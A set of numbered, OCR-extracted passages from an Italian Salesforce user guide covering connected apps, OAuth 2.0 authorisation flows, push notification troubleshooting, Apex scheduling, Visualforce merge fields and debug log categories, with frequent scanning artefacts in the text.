54. OAuth per gli Utenti con autorizzazioni impostato su Tutti gli utenti possono autorizzarsi autonomamente in quanto l opzione non necessaria se gli utenti possono autorizzarsi autonomamente e Fare clic su Nuovo in Attributi SAML provider di servizi per creare nuove coppie di chiavi valori attributi Inoltre possibile modificare o eliminare gli attributi esistenti Solo gli utenti che appartengono ad almeno uno dei profili o degli insiemi di autorizzazioni selezionati possono eseguire l applicazione se stata selezionata l opzione Utenti con approvazione dell amministratore perilvalore Utenti con autorizzazioni nella pagina di modifica dell applicazione connessa Se invece stata selezionata l opzione Tutti gli utenti profili e gli insiemi di autorizzazioni vengono ignorati VEDERE ANCHE Provisioning utente per applicazioni connesse Gestione di un applicazione connessa AUTORIZZAZIONI UTENTE Per leggere Per creare aggiornare o eliminare Per aggiornare tutti i campi tranne Profili Insiemi di autorizzazioni e Attributi SAML provider di servizi Per aggiornare Profili Insiemi di autorizzazioni e Attributi SAML provider di servizi Per disinstallare Personalizza applicazione Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni connesse Personalizza applicazione Personalizza applicazione E Modifica tutti i dati Scarica pacchetti AppExchange Per visual
55. ON UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse 2 L utente deve sempre approvare l accesso per questo flusso di autenticazione Dopo l approvazione dell accesso l applicazione riceve la richiamata da Salesforce Dopo avere ottenuto un token di accesso il consumatore pu utilizzare il token di accesso per accedere ai dati di Salesforce per conto dell utente finale e un token di aggiornamento per ottenere un nuovo token di accesso quando questo per qualsiasi motivo non dovesse pi essere valido Il flusso utente agente non supporta i post out of band Indirizzare l utente a Salesforce per ottenere il token di accesso Per ottenere autorizzazione dall utente ad accedere ai dati Salesforce per suo conto il client indirizza l utente all endpoint di autorizzazione con i seguenti parametri Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 226 response type ilvalore pu essere token 0 token id token con il parametro di ambito openid e un parametro nonce per quel flusso Se si specifica token id token Salesforce restituisce un token ID nella risposta Per ulteriori informazioni vedere Ottenere e verificare un token ID a pagina 233 client id chiave consumatore dalla definizione dell applicazione connessa redirect uri URla cui reindirizzare l utente dopo l approvazione Questo deve corrispondere esattamen
56. Riprovare in seguito Riprovare in seguito Riprovare in seguito Contattare Apple o riprovare in seguito mmettere nuovamente il valore del badge come un intero nserire il payload in un formato corretto mmettere un valore valido per uno dei campi Fornire un token dispositivo Consultare la documentazione GCM su developer android com Possibili cause e L intestazione dell autorizzazione assente o contiene una sintassi non valida e stato inviato un numero progetto non valido come chiave e La chiave valida ma il servizio GCM disabilitato e Larichiesta stata originata da un server che non autorizzato negli indirizzi IP della chiave del server Riprovare in seguito Verificare che l applicazione mobile fornisca un ID registrazione valido oppure immettere manualmente un ID registrazione valido Ridurre le dimensioni del payload Fornire una chiave del server corretta per l applicazione Selezionare il destinatario o fornire l ID registrazione Aggiornare l ID registrazione dispositivo del destinatario Contattare salesforce com Ottimizzazione di Salesforce con il codice Messaggio Guida dell utente Integrazione di app con Salesforce 192 Soluzione suggerita Si verificato un errore imprevisto Rivolgersi al team di assistenza Contattare salesforce com SFDC VEDERE ANCHE Creazione di un applicazione connessa Esecuzione di test delle notifiche push Pro
57. SOQL Object Query Language in Salesforce con SObject SetupEntityAccess e CustomPermission e Per determinare di quali autorizzazioni personalizzate dispongono gli utenti quando eseguono l autenticazione in un applicazione connessa fare riferimento all URL identit dell utente che viene fornito da Salesforce insieme al token di accesso per l applicazione connessa VEDERE ANCHE Creazione di autorizzazioni personalizzate Aggiunta o eliminazione di autorizzazioni personalizzate richieste Riferimento oggetti per Salesforce e Force com CustomPermission URL identit DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Nelle organizzazioni Group Edition e Professional Edition non possibile creare o modificare autorizzazioni personalizzate ma possibile installarle come parte di un pacchetto gestito Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 256 Creazione di autorizzazioni personalizzate possibile creare autorizzazioni personalizzate per fornire agli utenti l accesso ad applicazioni o processi personalizzati 1 Dalmposta immettere Autorizzazioni personalizzate nellacasella Ricerca veloce quindi selezionare Autorizzazioni personalizzate 2 Fare clic su Nuovo 3 Immettere le informaz
58. Salesforce con il codice lt style gt lt head gt lt body gt lt div id mapContainer gt lt div gt lt script type text javascript gt Create a map object Guida dell utente Componenti Apex Visualforce e Lightning 130 var map new YMap document getElementById mapContainer Display the map centered on given address map drawZoomAndCenter Account BillingStreet lAccount BillingCity lAccount BillingState lAccount BillingPostalCode 3 Set marker at that address map addMarker Account BillingStreet lAccount BillingCity lAccount BillingState lAccount BillingPostalCode 3 lt script gt lt body gt lt html gt S Control che sostituiscono i pulsanti standard e le pagine iniziali delle schede Sostituzione Aggiungi prodotto possibile che si disponga del proprio codice e si preferisca utilizzarlo per aggiungere i prodotti alle opportunit al posto della pagina standard Utilizzare l esempio di S Control riportato di seguito per trasmettere i valori dei dati utilizzando i campi unione da una pagina dei dettagli di un record in un Custom S Control che ignori sostituisca il pulsante Aggiungi prodotto sull elenco correlato Prodotti di un opportunit Questo tipo di sostituzione illustra come i pulsanti degli elenchi correlati possono contenere campi unione provenienti dall oggetto principale nonch dall oggetto dettaglio Ad esempio il codice ri
59. Salesforce consente di accedere in modo programmatico alle informazioni dell organizzazione mediante interfacce di programmazione delle applicazioni semplici efficaci e sicure ID P4 0 N Disponibile nelle versioni Nome API Protocollo Formato dati Comunicazione Salesforce Classic API REST REST JSON XML Sincrona Disponibile nelle versioni API SOAP SOAP WSDL XML Sincrona Enterprise Edition Performance Edition API REST Chatter REST JSON XML Sincrona le foto Unlimited Edition vengono elaborate in Developer Edition e modo asincrono Database com Edition API in blocco REST CSV XML Asincrona NOONA VAN API metadati SOAP WSDL XML Asincrona UTENTE Streaming API Bayeux JSON r nerona stream di Per utilizzare le API ati e API abilitata API REST Apex REST JSON XML Sincrona Personalizzato API SOAP Apex SOAP WSDL XML Sincrona Tooling API REST o SOAP WSDL JSON XML Sincrona Personalizzato Quando utilizzare l API REST L API REST offre un interfaccia di servizi Web REST efficace pratica e semplice per l interazione con Salesforce L interfaccia offre vantaggi quali la semplicit di integrazione e sviluppo ed una tecnologia eccellente per l utilizzo con le applicazioni mobili e i progetti Web Tuttavia in presenza di molti record da elaborare considerare l uso dell API in blocco basata sui principi REST e ottimizzata per serie di dati di grandi dimensioni Quando utilizzare l API SOAP L API SOAP offre un inter
60. Un applicazione connessa un applicazione che si integra con Salesforce utilizzando le API Le Guida dell utente Integrazione di app con Salesforce 167 ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni ANOLON TAAA ON UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse D7 OX Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni applicazioni connesse utilizzano i protocolli SAML e OAuth standard per l autenticazione forniscono il Single Sign On e i token da utilizzare con le API di Salesforce Oltre alle funzionalit OAuth standard le applicazioni connesse consentono agli amministratori di impostare vari criteri di protezione e avere il controllo diretto sugli utenti che possono utilizzare le applicazioni corrispondenti Uno sviluppatore o un amministratore definisce un applicazione connessa per Salesforce fornendo le seguenti informazioni Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 168 e Nome descrizione logo e informazioni di contatto e Un URL in cui Salesforce pu indivi
61. Unlimited Edition Developer Edition ed Enterprise Edition Il messaggio email inviato ha il seguente formato YANG TO NPZZAVA O N UTENTE Per creare pacchetti e Crea pacchetti Force com AppExchange Per caricare pacchetti e Carica pacchetti Force com AppExchange Per creare Apex e Apex autore ASIA a a A GEIEIA A EA LA E SEE narici aa sedere Subject Developer script exception from CLASSNAME Apex script unhandled trigger exception by user organization USER_ID ORG_ID EXCEPTION STRING STACK_TRACE Apex Application lt info salesforce com gt To joeuser salesforce com lt joeuser salesforce com gt Subject Developer script exception from Gack WS Date Mon 26 Nov 2007 14 42 41 0000 GMT 06 42 PST Apex script unhandled trigger exception by user organization 010x0000000rfPg 00Fx00000009ejj TestException Test Exception Gack WS exception Class Gack WS gackTestException line 4 column 11 Il numero di messaggi email generati per lo stesso errore limitato a 10 messaggi con lo stesso oggetto in un lasso di tempo di 60 secondi Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 56 Gestione delle classi Apex Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition ed SION TAATA Enterprise Edition UTENTE Per definire modificare eliminare impostare la Una classe Apex un modello in base a
62. accedere a una nuova sessione secondo necessit Il consumatore deve effettuare una richiesta POST all endpoint del token con i seguenti parametri e grant type ilvalore deve essere refresh token per questo flusso e refresh token token di aggiornamento dalla fase di approvazione e client id chiave consumatore dalla definizione dell applicazione connessa Guida dell utente Integrazione di app con Salesforce 215 ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni TANGO NPZZAVA O N UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse e client secret segreto consumatore dalla definizione dell applicazione connessa Questo parametro facoltativo e client assertion anzich passare client_secret si pu decidere di indicare una client _assertion e un client assertion type Se il parametro client secret non viene fornito Salesforce verifica automaticamente la presenza dei parametri client assertion e client assertion type Ilvalore di client _assertion deve essere un token bearer JWT tipico firmato con la chiave privata associata al certificato consumatore OAuth caricato Attualmente supportato solo l algoritmo RS256 Per ulteriori informazioni sull uso di client assertion vedere le specifiche OpenID Connect per il metodo di autenticazione client private key jwt client assertion type indicare questo
63. accettare i Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition cookie di terze parti dal dominio mypages nal visual force com In alternativa se si utilizza Internet Explorer possibile aggiungere mypages nal visual force com all elenco dei siti attendibili nella pagina delle opzioni di protezione In alcune pagine Salesforce include un intestazione Platform for Privacy Preferences Project P3P L intestazione composta dalle seguenti impostazioni Scopo CUR Le informazioni vengono utilizzate per completare l attivit per la quale sono state fornite Categoria STA Meccanismi per mantenere una sessione di stato con un utente o per riconoscere automaticamente gli utenti che hanno visitato un particolare sito o hanno avuto accesso a un particolare contenuto ad esempio i cookie HTTP Destinatario OTR Le entit legali seguono procedure diverse Gli utenti non possono aderire o ritirarsi da questo uso Se il browser configurato per il supporto P3P questa intestazione consente la visualizzazione di tutte le pagine Visualforce Per informazioni sullo standard P3P vedere Platform for Privacy Preferences P3P Project Se il browser configurato per bloccare i cookie di terze parti e non utilizza l intestazione P3P e viene visualizzato un errore simile a quello indicato sopra eseguire una delle seguenti azioni e Configurare il livello P3P per il browser e Modificare le impo
64. adottano il protocollo OAuth 2 0 che utilizzano il flusso del server Web vengono automaticamente approvate per ulteriori dispositivi dopo che l utente ha concesso l accesso una volta Il flusso utente agente richiede ogni volta l approvazione dell utente Ottimizzazione di Salesforce con il codice Endpoint di OAuth 2 0 tre endpoint principali utilizzati con OAuth 2 0 sono Guida dell utente Integrazione di app con Salesforce 202 e Autorizzazione https login salesforce com services oauth2 authorize e Token https 1 ogin salesforce com services oauth2 token e Revoca https login salesforce com services oauth2 revoke Per i dettagli relativi alla revoca dell accesso vedere Revoca dei token OAuth a pagina 231 Per un Sandbox utilizzare test salesforce com anzich login salesforce com Flusso di autentica Di seguito sono illustrate autenticazione zione OAuth 1 0 A le descrizioni delle singole fasi OAuth 1 0 A ha un unico flusso di 1 Il consumatore richiede un token di richiesta Salesforce verifica la richiesta e restituisce un token di richiesta 2 Il consumatore deve reindirizzare l utente a Salesforce dove gli viene richiesto di eseguire l accesso Salesforce autorizza l Salesforce verifica la r Don A p Una volta concesso il attraverso l API servizi 7 Salesforce verifica la ri Le sezioni seguenti descri Q Suggerimento P test salesfo Per l elenco dei cod 1 0 A a pagina 206
65. ai campi di oggetti utilizzati nel trigger comprese variazioni superficiali come quelle apportate alla descrizione di un oggetto o di un campo il flag isvalid impostato su false fino a quando il compilatore Apex non rielabora il codice La ricompilazione viene effettuata alla successiva esecuzione del trigger o quando un utente salva nuovamente il trigger nei metadati Se un campo di ricerca fa riferimento a un record eliminato Salesforce cancella il valore del campo di ricerca per impostazione predefinita In alternativa possibile decidere di impedire l eliminazione dei record se si trovano in una relazione di ricerca VEDERE ANCHE Gestione dei trigger Apex Gestione delle impostazioni di versione per Apex Esecuzione di Apex Code anonimo La Console sviluppatore consente di eseguire Apex Code come un altro modo per generare dei registri debug che coprono una specifica logica di applicazione Autorizzazioni utente richieste Per eseguire Apex Code anonimo Apex autore Lo strumento Execute Anonymous Apex Esecuzione di Apex Code anonimo nella Console sviluppatore esegue l Apex Code inserito utilizzando ExecuteAnonymous e genera un registro debug con i risultati dell esecuzione Avvertenza Se si chiama una classe che contiene un testMethod vengono eseguite tutte le istruzioni DML del metodo di test Questo pu provocare l inserimento di dati indesiderati nell organizzazione 1 Fare clic su Debug gt Open Execute Anony
66. c Selezionare un file e fare clic su OK Viene nuovamente visualizzata la Creazione guidata nuova scheda personalizzata possibile anche selezionare la casella di controllo Pronto per Salesforc Classic mobile per indicare che la pagina Visualforce visualizzata e funziona correttamente nell applicazione Salesforce Classic mobile Selezionando la casella di controllo si aggiunge la scheda all elenco delle schede disponibili per le configurazioni di Salesforce Classic mobile Prima di rendere mobile una scheda Visualforce rileggere le considerazioni relative alle schede di Salesforce Classic mobile per verificare che le pagine Visualforce nelle proprie schede siano compatibili con i browser mobili Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 74 O Nota la casella di controllo Pronto per Salesforce Classic mobile visibile solo se nell organizzazione abilitato Salesforce Classic mobile Questa impostazione non influisce sulla visualizzazione delle schede Visualforce nell applicazione Salesforce1 Per abilitare una nuova scheda Visualforce da utilizzare in Salesforce1 vedere Abilitazione di pagine Visualforce per l applicazione mobile Salesforce1 e Definizione delle pagine Visualforce a pagina 68 8 Selo si desidera scegliere un link personalizzato da usare come pagina iniziale introduttiva da visualizzare quando gli utenti fanno clic sulla scheda la prima volta
67. che per la leggibilit Questo parametro facoltativo Specificare un nome funzione JavaScript valido Questo parametro viene utilizzato solo quando il formato specificato come JSON L output racchiuso in questo nome funzione JSONP Ad esempio se una richiesta a https server id orgid userid restituisce foo bar unarichiesta ahttps server id orgid userid callback baz restituisce baz foo bar Risposta URL identit Una richiesta valida restituisce le seguenti informazioni in formato JSON e id l URL identit lo stesso URL cui stata inviata la query e asserted user valore booleano che indica se il token di accesso specificato utilizzato era stato emesso per questa identit e user id l ID utente Salesforce e username il nome e organization i e nick name il nickn utente Salesforce d l ID dell organizzazione Salesforce ame comunit dell utente oggetto della query e display name il nome di visualizzazione nome intero dell utente oggetto della query e email l indirizzo em e email verified ail dell utente oggetto della query indica se l organizzazione ha abilitato la verifica tramite email true o no false e first name ilnome dell utente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 236 e last name il cognome dell utente e timezone il fuso orario nelle impostazioni dell utente e photos una mappa di URL rel
68. clic su Nuovo per creare un modello di link azioni Il modello di link azioni viene associato automaticamente a un modello di gruppo di link azioni in una relazione record principale record dettaglio 10 Selezionare il Tipo di azione valori sono e Apiiillinkazione chiama un API sincrona all URL azione Salesforce imposta lo stato su SuccessfulStatus o su FailedStatus a seconda del codice dello stato HTTP restituito dal server Guida dell utente Integrazione di app con Salesforce 152 Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 153 11 12 13 14 15 16 17 e ApiAsync illinkazione chiama un API asincrona all URL azione L azione rimane in stato PendingStatus finch una terza parte non esegue una richiesta a connect action links actionLinkId per impostare lo stato su SuccessfulStatus osu FailedStatus quando l operazione asincrona completata e Downloadiillink azione scarica un file dall URL azione e Ui illinkazione conduce l utente a una pagina Web all URL azione Immettere un URL azione che costituisce l URL del link azioni Per un link azioni UI l URL una pagina Web Per un linkazione Download l URL un link a un file da scaricare Per un link azione Api ounlinkazione ApiAsync l URL una risorsa REST I link alle risorse ospitate nei server Salesforce possono essere relativi iniziando con Tutti gli altri link devono essere assoluti
69. codice eseguite suddivise per tipo di unit di codice oltre al totale e alla percentuale del tempo di esecuzione per ciascun tipo di unit di codice La tempistica consente di scoprire rapidamente quali parti della richiesta hanno necessitato di un tempo di esecuzione maggiore Selezionare un intervallo di tempo nella parte inferiore della sezione del riepilogo per aumentare o ridurre il periodo visualizzato nella tempistica DE Scale Save Order Category APEX_CODE WORKFLOW 0 00 0 01 Seconds 0 1 Seconds 1 Seconds 0 00 14 53 01 100 99 03 0 00 0 00 14 53 01 110 14 53 01 120 14 53 01 130 14 5 Limits imee Executed Units Millis 34 40 m 10 Seconds Minutes In questo esempio le richieste database hanno richiesto il maggior tempo 56 95 seguite dalla pagina Visualforce L Apex code ha richiesto il minor tempo di esecuzione Inoltre le pagine Visualforce e l Apex code sono stati eseguiti all inizio e alla fine mentre le operazioni di database sono state effettuate fra le une e l altro Visualizzazione di un processo complesso Scenario si supponga di avere un processo complesso che includa diversi trigger e classi Apex flusso di lavoro e regole di convalida Quali sono i metodi migliori per analizzare passo per passo o filtrare il registro debug che ne risulta 1 Lasezione dello stack contiene una struttura ad albero che illustra il percorso di esecuzione di
70. con il codice Se il nome dell utente Giovanni nella pagina apparir Ciao Giovanni Guida dell utente Componenti Apex Visualforce e Lightning 73 inoltre possibile utilizzare i campi di unione o altre funzioni per personalizzare il contenuto della guida a livello di oggetto VEDERE ANCHE Definizione delle pagine Visualforce Creazione della schede Visualforce possibile creare schede Visualforce in modo che gli utenti possano accedere a pagine Visualforce da Salesforce Per creare una scheda Visualforce 1 2 Da Imposta immettere Schede nella casella Ricerca veloce quindi selezionare Schede Fare clic su Nuovo nell elenco correlato Schede Visualforce Selezionare la pagina Visualforce da visualizzare nella scheda personalizzata Se non si ancora creata la pagina Visualforce fare clic su Creare una nuova pagina ora Immettere l etichetta da visualizzare sulla scheda Fare clic sull icona di ricerca Stile scheda per visualizzare il Selettore stile scheda Se uno stile scheda gi in uso accanto al nome dello stile scheda viene visualizzato un numero racchiuso tra parentesi quadre Spostare il mouse sopra il nome dello stile per visualizzare le schede per cui viene utilizzato Fare clic su Nascondi gli stili utilizzati in altre schede per filtrare questo elenco Fare clic su uno stile scheda per selezionare lo schema di colori e l icona della scheda personalizzata Se si desidera creare uno
71. corrisponde a quella formula Utilizzare la notazione del punto per accedere ai dati dell organizzazione Ad esempio S Organization Street S Organization State campi di unione organizzazione derivano i valori dai valori attualmente archiviati nelle informazioni sulla propria azienda in Salesforce Tenere presente che Organization UiSkin un valore dell elenco di selezione e pertanto va utilizzato con funzioni di elenco di selezione quali ISPICKVAL nei campi personalizzati nelle regole di convalida nelle espressioni Visualforce nelle formule del flusso nelle formule del processo e nelle formule delle regole di flusso di lavoro Tipo di campo di unione globale da utilizzare quando si fa riferimento a una pagina Visualforce Utilizzare questa espressione in una pagina Visualforce per creare un link a un altra pagina Visualforce lt apex page gt lt h1 gt Linked lt h1 gt Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Suggerimenti Permission Descrizione Utilizzo Esempio di regola di convalida Esempio di Flusso Esempio di Visualforce Suggerimenti Profile Descrizione Utilizzo Lightning 29 lt apex outputLink value SPage otherPage gt This is a link to another page lt apex outputLink gt lt apex page gt Questa variabile globale disponibile solo per le pagine Visualforce Tipo di campo di unione globale
72. dei quali l elemento pers Din L ind e tipo di evento ieste ieste ervista nome de ervista nome dell e ervista nome de istente ervista nome de istente umero di riga e e e in attesa e ID intervista ervista indice e valore ervista chiave e valore em em di evento e se le condizion em em ervista e nome del flusso ervista e nome del flusso en en en en o nom to nom toe Di ice la posizione nella variabile di raccolta per elemento sul quale sta operando il loop ervista nome della regola e risultato essaggio ID intervista e nome del flusso ervista nome ID definizione e ID versione e dell evento e dell evento sono state soddisfatte ntervista to num umero di riga e numero di byte Spazio dei nomi e i seguenti limiti Number of SOQL queries ero di eventi umero di riga e numero di byte liberati Categoria registrata Flusso di lavoro Flusso di avoro lusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro usso di avoro Apex Code Apex Code DB Apex Profiling Livello registrato FINER e superiori FINER e superiori INFO e superiori INFO e superiori INFO e periori INFO e superiori ERROR e su
73. del livello del registro che sono effettive dopo l uscita da questo ambito Ottimizzazione di Salesforce con il codice Nome dell evento PUSH NOTIFICATION INVALID APP PUSH NOTIFICATION INVALID CERTIFICATE Ei PUSH NOTIFICATION INVALID NOTIFICATION PUSH _NOTIFICATION NO DEVICE PUSH _NOTIFICATION NOT ENABL PUSH NOTIFICATION SENT PUSH _TRACE FLAGS QUERY MORE BEGIN QUERY MORE END QUERY MORE ITERATIONS Guida dell utente Registri debug 288 Campi o informazioni registrate con l evento Spazio dei nomi dell app nome dell app Questo evento si verifica quando Apex Code sta cercando di inviare una notifica a un app che non esiste nell organizzazione o per la quale non sono abilitate le notifiche push Spazio dei nomi dell app nome dell app Questo evento indica che il certificato non valido Ad esempio scaduto Spazio dei nomi app nome app tipo di servizio Apple o Android GCM ID utente dispositivo payload sottostringa lunghezza payload Questo evento si verifica quando un payload di notifica troppo lungo Spazio dei nomi dell app nome dell app Questo evento si verifica quando nessuno degli utenti ai quali stiamo tentando di inviare notifiche dispone di dispositivi registrati Questo evento si verifica quando nell organizzazione non sono abilitate le notifiche push Spazio dei nomi app n
74. del mese ad esempio il secondo sabato di ogni mese dovr essere eseguito il processo Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 66 5 Specificare le date di inizio e fine della pianificazione della classe Apex Se si specifica un unico giorno il processo viene eseguito una sola volta 6 Indicare l orario di inizio desiderato L orario esatto di inizio del processo dipende dalla disponibilit del servizio 7 Fare clic su Salva O Nota consentito avere un massimo di 100 processi attivi o pianificati contemporaneamente In alternativa possibile chiamare il metodo System scheduleBatch per pianificare l esecuzione del processo batch a un orario futuro Per ulteriori informazioni vedere Using the System scheduleBatch Method nel manuale Force com Apex Code Developer s Guide Dopo che stato pianificato un processo Apex possibile monitorarne lo stato di avanzamento nella pagina Tutti i processi pianificati Al termine del processo possibile visualizzare le relative informazioni ad esempio la riuscita o l insuccesso il tempo di elaborazione il numero di record elaborati ecc nella pagina Processi Apex Domande frequenti Domande frequenti su Apex e Che differenza c fra classi e trigger Apex EDIZIONI Posso chiamare un servizio Web esterno con Apex e Quali sono i tipi di schemi WSDL supportati per le chiamate Apex Disponibile nel
75. di 24 ore Per le organizzazioni Sandbox e quelle che utilizzano la versione Developer Edition questo limite maggiore e supera 500 oppure 20 moltiplicato per il numero di classi di test nell organizzazione Mentre i test sono in esecuzione possibile selezionare uno o pi test e fare clic su Interrompi per annullare Al termine di un test possibile Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione dei test Apex 298 e Fareclicsultest per visualizzare i dettagli dei risultati oppure se un test non viene completato vengono visualizzati il primo messaggio di errore e la traccia dello stack e Fare clic su Visualizza per vedere l origine di Apex code O Nota risultati dei test rimangono visualizzati per 60 minuti in seguito al completamento dell operazione Utilizzare la pagina Risultati test Apex per vedere tutti i risultati dei test della propria organizzazione Da Imposta immettere Apex nella casella Ricerca veloce quindi selezionare Esecuzione test Apex e fare clic su Visualizza cronologia test Utilizzare la Console sviluppatore per visualizzare ulteriori informazioni sull esecuzione del test 1 Aprire la Console sviluppatore 2 Eseguire i test utilizzando la pagina Esecuzione test Apex 3 Controllare la Console sviluppatore per esaminare passo per passo la richiesta Disabilitazione dell esecuzione parallela dei test test che vengono avviati dall interfaccia utente di Salesforce inc
76. di prospettive personalizzate nel Log Inspector Controllo registri La prospettiva un layout predefinito di riquadri nel Log Inspector Controllo registri della Console sviluppatore Per qualsiasi operazione nel Log Inspector Controllo registri utilizzare una prospettiva che agevoli il completamento dell operazione Ogni sviluppatore ha uno stile diverso Per un elenco delle prospettive pronte all uso vedere Log Inspector Controllo registri Per creare una prospettiva personalizzata o per modificare una prospettiva esistente 1 Nella Console sviluppatore aprire un registro nel Log Inspector Controllo registri 2 Fare clic su Debug gt View Log Panels Visualizza riquadri registro e selezionare i riquadri da includere nella prospettiva Per un elenco dei riquadri disponibili vedere Log Panels Riquadri registro Quando si modifica una prospettiva finch non viene salvata accanto al suo nome appare un Q Suggerimento Quando si crea una prospettiva che include il riquadro Execution Log Registro esecuzioni consigliabile includere anche il riquadro Source Sorgente 3 Per salvare le modifiche fare clic su Save Perspective Salva prospettiva Per creare una nuova prospettiva fare clic su Save Perspective As Salva prospettiva con nome e inserire un nuovo nome VEDERE ANCHE Log Inspector Controllo registri Gestione delle prospettive nel Log Inspector Controllo registri Gestione delle prospettive nel Log Insp
77. domini ma se si passa l ID sessione in modo non automatico tenere presente che potrebbe essere necessario accedere di nuovo ad Api Session ID dal dominio corretto per assicurarsi di utilizzare un ID sessione valido Tipo di campo di unione globale da utilizzare quando si fa riferimento a un componente Visualforce Ogni componente di una pagina Visualforce ha il proprio attributo 1d Quando viene eseguito il rendering della pagina questo attributo viene utilizzato per generare il modello a oggetti del documento DOM Utilizzare Component Path to Id in JavaScript per fare riferimento a un componente specifico in una pagina dove Path to Id un elemento che specifica la gerarchia del componente a cui si fa riferimento function beforeTextSave document getElementById Component msgpost value myEditor getEditorHTML Questa variabile globale disponibile solo per le pagine Visualforce ComponentLabel Descrizione Utilizzo Esempio di Visualforce Suggerimenti CurrentPage Descrizione Campo di unione globale da utilizzare per fare riferimento all etichetta di un componente inputField in una pagina Visualforce associata a un messaggio Restituire l etichetta diun componente inputField associato a un messaggio lt apex datalist var mess value messages gt lt apex outputText value mess componentLabel style color red gt lt apex outputText value mess detail style
78. errore per le notifiche push Se viene visualizzato un messaggio di errore durante l invio di una notifica push dalla pagina Invia notifica di prova consultare la seguente tabella per suggerimenti su come risolvere il problema Invio del test notifiche push al servizio di notifica push Apple APNS Per eseguire un test rapido dell impostazione delle proprie notifiche push al servizio di notifica push Apple APNS utilizzare la pagina Invia notifica di prova 1 Immettere una stringa token di connessione nel campo Destinatario OPPURE cercare un destinatario facendo clic su Cerca e selezionare uno dei risultati della ricerca Per impostazione predefinita l elenco dei risultati della ricerca visualizza i cinque dispositivi registrati pi recentemente per l applicazione connessa a Per trovare altri dispositivi immettere un nome utente nella casella di testo Cerca b Fare clic su Vai per generare un elenco di tutti i dispositivi attualmente registrati sotto quel nome utente 2 Sesi desidera per Avviso immettere un messaggio di avviso o dizionario come da specifiche Apple 3 Per Badge immettere un numero di badge oppure 0 per nessun badge 4 PerSuono immettere il nome di un file audio nel bundle applicazione oppure immettere predefinito per utilizzare il tono di avviso predefinito del sistema 5 Sesidesidera per utilizzare un payload personalizzato immettere il valore JSON del proprio payload nel campo Payload personalizzato
79. evento umero di riga e nome Savepoint umero di riga e nome Savepoint umero di casi tempo di caricamento tempo di elaborazione numero di punti salienti dei casi da inserire aggiornare eliminare e nuovo trigger D punto saliente essuno D caso umero di riga numero di aggregazioni e origine della query umero di riga numero di righe e durata in millisecondi umero di riga e origine della query umero di riga numero di righe e durata in millisecondi umero del frame ed elenco di variabili del modulo Numero variabile Valore Ad esempio varl 50 var2 Hello World Numero di riga Elenco di variabili del modulo Numero variabile Valore Ad esempio varl 50 var2 Hello World Numero di riga e la stringa lt init gt conitipidi parametri se esistono tra le parentesi Numero di riga e la stringa lt init gt conitipidi parametri se esistono tra le parentesi Categoria registrata DB lusso di avoro lusso di avoro Flusso di avoro lusso di avoro DB Apex Profiling Apex Code Apex Profiling System System Livello registrato INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori FINE e superiori FINER e superiori FINE e superiori FINE e superiori FINE e superiori
80. gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Il server Web reindirizza l utente a Salesforce per autenticare e autorizzare il server ad accedere ai dati per conto dell utente Dopo che l utente ha approvato l accesso il server Web riceve la richiamata con un codice di autorizzazione Dopo avere ottenuto il codice di autorizzazione il server Web lo ritrasmette in modo da ottenere una risposta del token Dopo avere convalidato il codice di autorizzazione Salesforce ritrasmette una risposta del token Se non si verificato alcun errore la risposta del token contiene un codice di accesso e ulteriori informazioni Dopo che il token stato concesso il server Web accede ai dati Dopo avere ottenuto un token di accesso il server Web pu utilizzare il token di accesso per accedere ai dati di Salesforce per conto dell utente finale e un token di aggiornamento per ottenere un nuovo token di accesso quando questo per qualsiasi motivo non dovesse pi essere valido Reindirizzamento dell utente per ottenere l autorizzazione all accesso Per ottenere l autorizzazione dell utente ad accedere ai dati Salesforce per suo conto il client reindirizza il browser dell utente all endpoint di autorizzazione con i seguenti parametri response type il valore deve essere code per questo flusso client id chiave consumatore dalla definizione dell applicazione connessa scope il parametro scope conse
81. i campi associati all evento la sua durata in millisecondi e cos via Categorie del registro debug Ogni livello debug include un livello del registro debug per ciascuna delle seguenti categorie del registro La quantit di informazioni registrate per ogni categoria dipende dal livello del registro Categoria di registro Descrizione Database Include informazioni sull attivit del database tra cui istruzioni DML query SOQL o query SOSL in linea Workflow Flusso di Comprende informazioni relative alle regole di flusso di lavoro ai flussi e ai processi quali il lavoro nome della regola le azioni intraprese e cos via Validation Convalida Comprende informazioni sulle regole di convalida quali il nome della regola se la regola stata valutata come vera o falsa e cos via Callout Chiamata Include il codice XML di richiesta risposta che il server sta inviando e ricevendo da un servizio Web esterno Questa informazione utile in caso di debug di problemi relativi all utilizzo delle chiamate API da parte dei servizi Web Force com Apex Code Codice Apex Comprende informazioni su Apex Code e pu includere informazioni quali messaggi di registro generati da istruzioni DML query SOQL o SOSL in linea l inizio e il completamento dei trigger l inizio 